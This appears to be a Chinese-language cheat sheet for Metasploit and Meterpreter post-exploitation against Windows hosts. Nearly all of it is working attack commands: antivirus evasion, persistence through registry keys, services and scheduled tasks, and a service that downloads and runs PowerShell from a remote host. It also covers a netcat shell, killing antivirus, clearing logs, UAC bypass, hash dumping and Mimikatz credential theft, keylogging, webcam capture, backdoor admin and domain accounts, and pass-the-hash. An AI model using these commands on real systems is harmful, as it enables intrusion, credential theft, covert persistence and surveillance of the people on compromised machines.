監聽
AutoRunScrip:自動執行腳本
如:自動執行post/windows/manage/migrate
set AutoRunScript post/windows/manage/migrate set autorunscript migrate -f #獲取shell后,將自動遷移到另一個進程
自動注入進程
set prependmigrate true set prependmigrateProc svchost.exe
set exitonsession false //可以讓建立監聽的端口繼續保持偵聽,可以接受多個session set stagerverifysslcert false //防止獲取shell的時候出現的SSL_accept錯誤
免殺
將控制端向被控制端發送的stage進行編碼,從而繞過symantec的查殺
set EnableStageEncoding true set stageencoder x86/fnstenv_mov set stageencodingfallback false
相當於使用RC4
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=xxx lport=xxxx RC4PASSWORD=yourpass -f c
利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。可以繞過symantec,且不用設置stageencoder選項,更穩定更方便
繞過殺軟的添加自啟動
exploit/windows/local/registry_persistence
同類型的還有其他payload,如
exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence
后門腳本
1.persistence
metasploit/scripts/meterpreter/persistence
用於創建通過啟動項啟動。會創建注冊表,創建文件,但是很容易被殺軟攔截。
命令示例:
run persistence -A -U -i 5 -p 443 -r 192.168.2.101
使用-S可創建服務。-U 會在HKCU添加啟動項,-X 會在HKLM添加啟動項
能實現同樣功能的腳本還有:
exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb
2.metsvc.rb
metasploit/scripts/meterpreter/metsvc.rb
用於創建服務啟動。會創建meterpreter服務,並上傳三個文件。很容易被殺軟攔截,且安裝服務需要管理員權限。
命令:
run metsvc -A
使用 -r 參數可卸載服務。
3、Scheduleme & Schtasksabuse
metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb
這兩個腳本都是通過schtasks來創建計划任務來達到維持權限的目的
區別是scheduleme 需要當前進程擁有最高管理權限,而schtasksabuse則不需要,(測試發現很容易被殺軟攔截)。
使用舉例:
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上傳nc並創建計划任務每一分鍾執行一次 'nc -e cmd.exe -L -p 8080' run scheduleme -m 1 -c "cmd /c calc.exe" # 創建計划任務每一分鍾執行一次打開計算器命令
其他參數有興趣自己看看就不詳細介紹了
schtasksabuse
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4 #每隔4秒執行一次calc.exe
使用腳本需要加-t參數
能實現同樣功能的腳本還有:exploits/windows/local/s4u_persistence
4. Mof_ps_persist
Powershell之MOF后門 提到過,創建WMI后門的一種方式,可以在你的MSF添加此腳本。(運行需要管理員權限,不容易被攔截)
繞過攔截的計划任務:
schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小時執行一次
設置持久化后門
設置powershell腳本開機自啟動后門
sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))\"" sc config “name” start= auto sc description “name” “description” 設置服務的描述字符串 net start “name” 啟動服務 sc delete “name” 刪除這個服務,不想使用服務直接刪除
創建自啟動木馬服務
先創建一個服務名稱后面跟着木馬上傳的路徑,這里如果要保證”windows Service EXE程序不被殺毒軟件攔截,最好做下免殺,在放到更加隱蔽的目錄
sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe" sc description "server power" "description" 設置服務的描述字符串 sc config "server power" start= auto 設置這個服務為自動啟動 net start "server power" 啟動服務
也可以用注冊表添加自啟動
生成一個exe木馬程序(免殺)
設置開機啟動項,往注冊表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木馬程序路徑
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f
當系統注銷,再次進入登入到目標系統就會上線,權限是繼承的。
Meterpreter后滲透命令
基本命令
ps/migrate/sysinfo/screenshot /background cd/cat/ls/del/mkdir/rm/edit edit c:\\windows\\system32\\drivers\\etc\\hosts 編輯文件 upload /root/nc.exe c:\\windows\\system32 #上傳 download c:\\Programs Files\\Tecent\\QQ\\Users\\qq號\\Msg2.0.db /etc(聊天記錄) #下載目標聊天記錄,可用Qqlogger查看 clearev --清除日志 run killav --干掉殺軟 run vnc --開啟目標vnc服務 run scraper --列舉系統及用戶敏感信息、下載用戶注冊表 run metsvc --在目標上將meterpreter安裝為后門服務,
繞過 UAC
meterpreter> run post/windows/escalate/bypassuac uictl enable keyboard/mouse #獲取鍵盤或鼠標的控制權 timestomp 文件a -f 文件b #把文件a的時間信息設置的與b相同 run webcam -p 圖片保存路徑 #開啟目標攝像頭並截圖 run packetrecorder –i 會話序號 #捕獲流量數據包.pcap setdesktop -更改 meterpreter 桌面 sessions –u 會話序號 #將shenll會話轉換成meterpreter getwd –顯示目錄 lcd -更改目錄 getprivs -獲取更多特權 getpid -獲取當前進程 ID (PID) getsystem 獲得系統權限 getuid -獲取作為運行服務器的用戶 search –d c:\\windows –f *.mdb #在目標主機Windows目錄中搜索文件
提權
use priv
getsystem
getuid
執行程序
execute -H -i -f cmd.exe #隱藏執行cmd並與之交互 execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt” #隱藏,從內存中,顯示虛假運行程序,執行惡意程序
搜集信息
run post/windows/gather/forensics/enum_drivers #獲取磁盤分區信息 run post/windows/gather/checkvm (run checkvm) #檢測是否為虛擬機 run post/windows/gather/dumplinks --查看目標最近系統操作路徑(較慢) run post/windows/gather/enum_applications #查看目標的軟件更新和補丁
獲取hash
hashdump或run hashdump或run smart_hashdump >run post/windows/gather/hashdump >run /windows/gather/smart_hashdump --可繞過windows UAC控制
reg command #修改注冊表
run getgui –u 建立用戶名 –p 建立用戶的密碼 #建立賬戶並開啟遠程終端
run multi_console_command –rc /root/.msf3/logs/scripts/getgui/clean_up_*.rc #清除腳本痕跡
鍵盤記錄
keyscan_start keyscan_dump keyscan_stop
run post/windows/capture/keylog_recorder
嗅探
msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > run
開啟 RDP 服務
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable 關閉 Windows 防火牆 netsh firewall set opmode disable
開啟vnc
meterpreter>runvnc
meterpreter>runscreen_unlock
遠程連接
我們嘗試用RDP連接到Windows 7,。
>use post/windows/manage/enable_rdp 首先在msfconsole運行enable_rdp模塊 >set SESSION 2 把SESSION設置為無UAC限制的有權限的session >run 然后用haxtorDaMan賬號登錄 :xfreerdp /v:192.168.1.108 /port:3389/size:1600×900/u:haxtorDaMan /p:hax@Pass50
端口轉發與遠程桌面連接
portfwd add –l 9999(轉發至本機的端口號) –p 3389 -r 目標IP rdesktop [-u 用戶名 –p 密碼] 127.0.0.1:9999 rdesktop 192.168.1.3 -f 1024x768 遠程掛在本地文件夾(本地/home和/root文件夾掛在到遠程服務器上分別命名為h和r) redsktop 192.168.1.3 -r disk:h=/home,r=/root 共享剪貼板: redsktop 192.168.1.3 -r clipboard:PRIMARYCLIPBOARD
Meterpreter 端口轉發
https://www.offensivesecurity.com/metasploitunleashed/portfwd/
# # 反彈10.1.1.129端口3389到本地2222並監聽 meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389 root@kali:~# rdesktop 127.1.1.0:2222
使用 Mimikatz 獲取 Windows 明文用戶名密碼
git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full
用kiwi獲取明文密碼:
meterpreter>load kiwi meterpreter> creds_all meterpreter> lsa_dump_sam
使用mimikatz自帶的命令:
meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords <前面一句命令在密碼超過14位時LM會為空,后一句命令可能得到明文>
Metaspolit中使用Mimikatz:
使用metasploit內建的命令: meterpreter > load mimikatz meterpreter > msv #msv creden meterpreter > kerberostials #kerberos credentials 獲取到系統hash置換,可以去http://www.cmd5.com/進行NTLM解密
當獲取到密碼的hash之后無法破解出明文密碼且無法直接使用hash登陸,需要使用
pass-the-hash技術:
msf>use windows/smb/psexec set PAYLOAD windows/meterpreter/reverse_tcp set LHOST xxxx set LPORT xxxx set RHOST xxxx set SMBPassword xxxx exploit
傳遞哈希攻擊
meterpreter > run post /windows/ gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit /windows/ smb/psexec msf exploit(psexec) > set payload windows /meterpreter/ reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit
顯示遠程機器的防火牆規則,列出DEP和UAC策略。並禁用之
> run getcountermeasure > run getcountermeasure -h > run getcountermeasure -d -k
提權一般步驟
> use priv > getsystem > ps > steal_token 1784 > shell net user hack password /add /DOMAIN net group "DomainAdmins" hack /add /DOMAIN 創建一個管理員帳號 (haxtorDaMan) 把它提升到管理員組,並且成為遠程桌面用戶 net user haxtorDaManhax@Pass50 /add net localgroup “Administrators” haxtorDaMan /add net localgroup“Remote Desktop Users” haxtorDaMan /
令牌模擬:
當有域控賬戶登陸至服務器時可使用令牌模擬進行滲透取得域控權限, 之后登陸其他機器時不需要登陸密碼。 > ps # 查看進程, 找出域控賬戶運行的進程 ID, 如 PID為 380 > steal_token 380 有時 ps命令列出的進程中可能不存在域控賬戶的進程, 此時使用 incognito模塊查看可用 token: > use incognito (use priv4 getsystem) > list_tokens –u #列出可用 token > impersonate_token SNEAKS.IN\\ihazdomainadmin > add_user hacker password –h 域控制器IP #在域控主機上添加賬戶 > add_group_user “Domain Admins” hacker –h IP #將賬戶添加至域管理員
使用 Railgun操作 windowsAPIs
例: meterpreter> irb >>client.core.use(“railgun”) #添加Railgun模塊 >>client.railgun.user32.MessageBoxA(o,“我是hack!”,“world”,“MB_OK”) #在目標機器上會彈出一個標題欄為 world,內容為“我是hack!”的窗口 >>client.railgun.user32.MessageBoxA(0,“我是hack!”,NULL,“MB_OK”) >> client.railgun.kernel32.SetThreadExecutionState(“ES_CONTINUOUS | ES_SYSTEM_ REQUIRED”) #阻止目標主機進入睡眠狀態